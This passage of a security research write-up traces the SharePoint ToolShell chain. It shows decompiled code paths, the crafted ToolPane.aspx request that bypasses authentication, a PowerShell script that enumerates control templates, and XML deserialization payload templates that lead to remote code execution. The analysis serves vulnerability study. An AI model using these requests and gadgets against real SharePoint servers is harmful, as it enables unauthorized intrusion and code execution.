Microsoft.SharePoint.WebPartPages.SPWebPartManager.ToolPaneErrorDisplayMode.get()
Microsoft.SharePoint.WebPartPages.ToolPane.ErrorText.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.AddRelationshipsControlToPageIfNecessary()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.InDesignMode.get()
Microsoft.SharePoint.WebPartPages.ToolPane.NeedLayoutCanvas.get()
Microsoft.SharePoint.WebPartPages.ToolPane.InCustomToolPane.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.InDesignMode.get()
Microsoft.SharePoint.WebPartPages.ToolPane.NeedLayoutCanvas.get()
Microsoft.SharePoint.WebPartPages.ToolPane.InCustomToolPane.get()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.LogWebPartUsage()
Microsoft.SharePoint.WebPartPages.SPWebPartManager.Scope.get()
Microsoft.SharePoint.WebPartPages.WebPartPage.FormOnLoad(object, System.EventArgs)
Microsoft.SharePoint.WebPartPages.SPWebPartManager.RegisterOWSScript(System.Web.UI.Control, System.Web.UI.Page, Microsoft.SharePoint.SPWeb)
Microsoft.SharePoint.Library.SPRequest.RenderFormDigest(string, Microsoft.SharePoint.Library.ISPDataCallback)
What we can learn from this is that, currently, all of our sources in the attack surface are methods between:
1
2
3
Microsoft.SharePoint.WebPartPages.SPWebPartManager.SPWebPartManager()
.......
Microsoft.SharePoint.WebPartPages.WebPartPage.FormOnLoad(object, System.EventArgs)
In his published research, Khoa Dinh identified the method ToolPane.getPartPreviewAndPropertiesFromMarkup()
as a source leading to his insecure deserialization sink. During our debugging, we did not reach this method, most likely because we did not meet the necessary criteria or execution flow required to trigger it.
Reaching ToolPane.getPartPreviewAndPropertiesFromMarkup()
In order to reach the partPreviewAndPropertiesFromMarkup()
method, we need to satisfy the conditions of the SelectedASPWebPart()
method.
We set up a breakpoint there and sent our request, but the breakpoint was never hit. Instead, we received a 401 Unauthorized, meaning we did not meet the prerequisites required for execution flow to reach partPreviewAndPropertiesFromMarkup()
.
In order to overcome this, instead of trying to debug every branch of execution, we will begin by sending the necessary parameters directly within our request. As a starting point, we will review the following line:
1
2
// Microsoft.SharePoint.WebPartPages.ToolPane.cs.SelectedASPWebPart()
if (this.InCustomToolPane && this.SPWebPartManager.DisplayMode == WebPartManager.EditDisplayMode)
Passing the CheckForCustomToolPane Check
To meet the first condition, we need to ensure that this.InCustomToolPane
is set to true. Let’s investigate what checks are performed to determine this.
We can see that the value is evaluated through a utility call to: CheckForCustomToolPane
. Interestingly, we have already encountered a related reference in our earlier call stack, the getter method: Microsoft.SharePoint.WebPartPages.ToolPane.InCustomToolPane.get()
If we look at the definition of CheckForCustomToolPane
, we can see the following implementation inside Microsoft.SharePoint.Utilities.SPUtility
.
1
2
3
4
5
6
7
8
9
10
11
12
public static bool CheckForCustomToolpane(string pagePath)
{
bool flag = false;
if (pagePath != null)
{
flag = pagePath.IndexOf("/_layouts/", StringComparison.OrdinalIgnoreCase) != -1
&& pagePath.EndsWith("/ToolPane.aspx", StringComparison.OrdinalIgnoreCase);
}
return flag;
}
To meet the condition, our request path needs to end with /ToolPane.aspx
. That part is straightforward. In addition, the request must originate from an index of /_layouts/
, which our current route already satisfies for now, at least.
The next step is to debug this section to verify that these conditions are indeed being met.
flag
initialized with the value false
The pagePath
is not null, and we move on to the next check, which verifies whether the pagePath
contains /_layouts/
and ends with /ToolPane.aspx
. All of these conditions are met, meaning the flag is now set to true.
So, in order to meet the first condition, our route must end with ToolPane.aspx
.
Now, what about the second part?
Passing the DisplayMode Check
The DisplayMode
value comes from SPWebPartManager
. If we investigate SPWebPartManager
, we’ll see that this value is derived directly from a URL request parameter.
The EditDisplayMode
leads us to this point in the WebPartManager
So the value is Edit
.
Crafting the Request Path
In the URL parameter it will be: ?DisplayMode=Edit
. OK, nice, but our request must end with /ToolPane.aspx
.
So let’s send the following HTTP request and observe the behavior.
Let’s explore a few options:
Option 1:
1
GET /_layouts/15/ToolPane.aspx?DisplayMode=Edit/ToolPane.aspx
This will obviously fail. The DisplayMode == Edit
check will fail, as it will be Edit/ToolPane.aspx
.
Option 2:
1
GET /_layouts/15/ToolPane.aspx?DisplayMode=Edit#/ToolPane.aspx
This will also fail, as it will treat Edit#/ToolPane.aspx
as the value of the DisplayMode
parameter, causing the DisplayMode
check to fail.
We can try to abuse a dummy parameter, as identified by Khoa Dinh.
1
GET /_layouts/15/ToolPane.aspx?DisplayMode=Edit&dummy=/ToolPane.aspx
And we managed to pass the check.
Passing the MSOTlPn_Uri Check
Now, let’s move on to the next checks.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Microsoft.SharePoint.WebPartPages.ToolPane.cs.SelectedASPWebPart()
try
{
string value = SPRequestParameterUtility.GetValue<string>(
this.Page.Request,
"MSOTlPn_Uri",
SPRequestParameterSource.Form
);
if (value != null && value.Length > 0)
{
this.frontPageUri = new Uri(value);
}
}
catch (Exception)
{
this._errorText = WebPartPageResource.GetString("CantLoadWebPartIntranet");
this._selectedWebPart = null;
return this._selectedWebPart;
}
It seems like it expects a parameter called MSOTlPn_Uri
. We will pass a URI in our GET
request to see what happens.
During runtime, the parameter is not recognized and remains null.
If we dig deeper, we can see that it expects to retrieve this parameter from a Form.
This suggests that the parameter should be passed via a POST
request. Reviewing the client-side source code of ToolPane.aspx
confirms this assumption.
With that in mind, we will resend our request in POST format.
And we can see that this time, it is recognized.
However, we are still not able to pass the check.
In his research, Khoa Dinh mentioned that, in order to complete the auth bypass, there is another condition that needs to be met.
This is how SelectedASPWebPart
gets the MSOTlPn_Uri
value: It retrieves the value from the request parameter.
1
string value = SPRequestParameterUtility.GetValue<string>(this.Page.Request, "MSOTlPn_Uri", SPRequestParameterSource.Form);
Then a null safety check is performed
1
2
3
4
if (value != null && value.Length > 0)
{
this.frontPageUri = new Uri(value);
}
And then it is passed to the method ToolPane.GetPartPreviewAndPropertiesFromMarkup()
1
MarkupProperties partPreviewAndPropertiesFromMarkup = ToolPane.GetPartPreviewAndPropertiesFromMarkup(this.frontPageUri,....)
Let’s see what is going on in GetPartPreviewAndPropertiesFromMarkup()
. In this method, the first parameter it accepts is the URI that we passed.
Inside this method, there is a call to ServerWebApplication
with pageUri. This constructs a ServerWebApplication
object and results in the invocation of PageParser.CreateAndInitializeDocumentDesigner(...)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// Microsoft.SharePoint.WebPartPages.ToolPane.cs
ServerWebApplication serverWebApplication = new ServerWebApplication(
manager.Web,
manager.LimitedWebPartManager,
pageUri
);
documentDesigner = PageParser.CreateAndInitializeDocumentDesigner(
pageUri.AbsolutePath,
manager.Web,
pageUri.AbsolutePath,
registerDirectiveDataList,
markupOption,
serverWebApplication
);
Building the ServerWebApplication using the provided URI
Then PageParser.CreateAndInitializeDocumentDesigner(..., serverWebApplication)
is invoked with the serverWebApplication
parameter. This, in turn, calls the IServerWebApplication
interface implemented by ServerWebApplication
.
Which will invoke the ServerWebFileFromFileSystem.Create(url)
method.
Exploring this method reveals the following: URL must start with _controltemplates/
and and with .ascx
Now let’s search the file system for files like that. We can automate the process with PowerShell and create a list of these files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$HostName = "target"
$Scheme = "http"
Get-WebVirtualDirectory |
Where-Object { $_.Path -like "*_controltemplates*" } |
ForEach-Object {
$virt = $_.Path.TrimStart('/')
$phys = (Resolve-Path $_.physicalPath).Path
Get-ChildItem -Path $phys -Filter *.ascx -File -Recurse -ErrorAction SilentlyContinue |
ForEach-Object {
$rel = $_.FullName.Substring($phys.Length).TrimStart('\').Replace('\','/')
"{0}://{1}/{2}/{3}" -f $Scheme, $HostName, $virt.TrimEnd('/'), $rel
}
}
We are not limited to a specific file; we can choose any one we want from the list
Chaining Auth Bypass with CVE-2025-49704
Now that we have completed the authentication bypass portion, we can move on to the more interesting part: insecure deserialization leading to remote code execution (RCE).
I am not going to cover the full deep-dive analysis of this second vulnerability in the chain. Instead, I will rely on the exploit that was crafted and published by Rapid7, which demonstrates how the insecure deserialization sink can be reliably turned into code execution.
Our malicious XML payload is now being transmitted through the MSOTlPn_DWP
form parameter.
It holds the Base64-encoded GZIP payload, which is then decompressed by Microsoft.PerformancePoint.Scorecards.ExcelDataSet
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<%@ Register Tagprefix="fiykrgcd"
Namespace="System.Web.UI"
Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<%@ Register Tagprefix="ltzyleugemgahujd"
Namespace="Microsoft.PerformancePoint.Scorecards"
Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<fiykrgcd:UpdateProgress>
<ProgressTemplate>
<ltzyleugemgahujd:ExcelDataSet
CompressedDataTable="{GZIP PAYLOAD}"
DataTable-CaseSensitive="true"
runat="server" />
</ProgressTemplate>
</fiykrgcd:UpdateProgress>
After it has been decompressed, the payload is deserialized using BinaryFormatter
, which leverages the DataSetSurrogateSelector
to process the object.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<diffgr:diffgram
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"
xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
<ixlxzqvdi>
<kulrlptb diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<busltcllx
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedWrapperOfLosFormatterObjectDataProvider
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ExpandedElement />
<ProjectedProperty0>
<MethodName>Deserialize</MethodName>
<MethodParameters>
<anyType
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xsi:type="xsd:string">
{BASE64 ENCODED DESERIALIZATION PAYLOAD}
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="LosFormatter" />
</ProjectedProperty0>
</ExpandedWrapperOfLosFormatterObjectDataProvider>
</busltcllx>
</kulrlptb>
</ixlxzqvdi>
</diffgr:diffgram>
We monitored the w3wp.exe
process using Process Explorer.
Once our malicious payload was deserialized, it was loaded into memory, leading to remote code execution.
However, we still did not encounter any 401 Unauthorized
response at this stage. This only occurred later, during the FormLoad
event of WebPartPage
, which we observed at the very beginning of our debugging process.
And importantly, the 401 Unauthorized
status code for our HTTP request is only returned after the RCE has already occurred, meaning that the exploit chain successfully executes before SharePoint enforces the authentication check.
Conclusion
This review began with the puzzle of why every exploit attempt in my lab returned a 401. That mismatch ultimately became the main lesson: server responses can be misleading, and exploitation may occur under the surface even when the output suggests otherwise.
By analyzing the patch, debugging the flow, and reviewing relevant code paths, it became clear how the initial fix was incomplete and why bypasses remained possible. Khoa Dinh’s original blog post was especially useful here, not only as background on how the vulnerability was first discovered and weaponized, but also in helping me understand the bug’s root cause and fill in gaps where I couldn’t reach the answer on my own.
After writing this, I also realized that the reason some researchers observed clean 200 OK
responses was likely because their requests satisfied additional conditions (such as providing a valid WebPart configuration), which allowed SharePoint to complete the request and return the RCE output, while my own tests stopped earlier in the pipeline.
The takeaway is simple: never trust the surface. Whether it’s a 401
or a 200
, what really matters is the execution path beneath it.
References
https://blog.richardszalay.com/2019/06/14/debugging-sitecore-assemblies/
https://blog.viettelcybersecurity.com/sharepoint-toolshell/
https://documentation.red-gate.com/ref8/worked-examples/debugging-into-sharepoint-and-seeing-the-locals
https://gist.github.com/testanull/e1573437f91ec3726ab5041389c6f28d
https://github.com/irsdl/ysonet
https://github.com/rapid7/metasploit-framework/pull/20409
http://learn.microsoft.com/en-us/dotnet/framework/debug-trace-profile/making-an-image-easier-to-debug
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771
https://testbnull.medium.com/a-quick-note-of-ms-sharepoint-net-decompiling-patch-diffing-91238bb35bf3
https://testbnull.medium.com/no-one-thing-will-be-left-behind-manual-guide-to-patch-your-the-exiled-sharepoint-exchange-20c5efb03a5d
https://www.mdsec.co.uk/2021/09/nsa-meeting-proposal-for-proxyshell/
https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities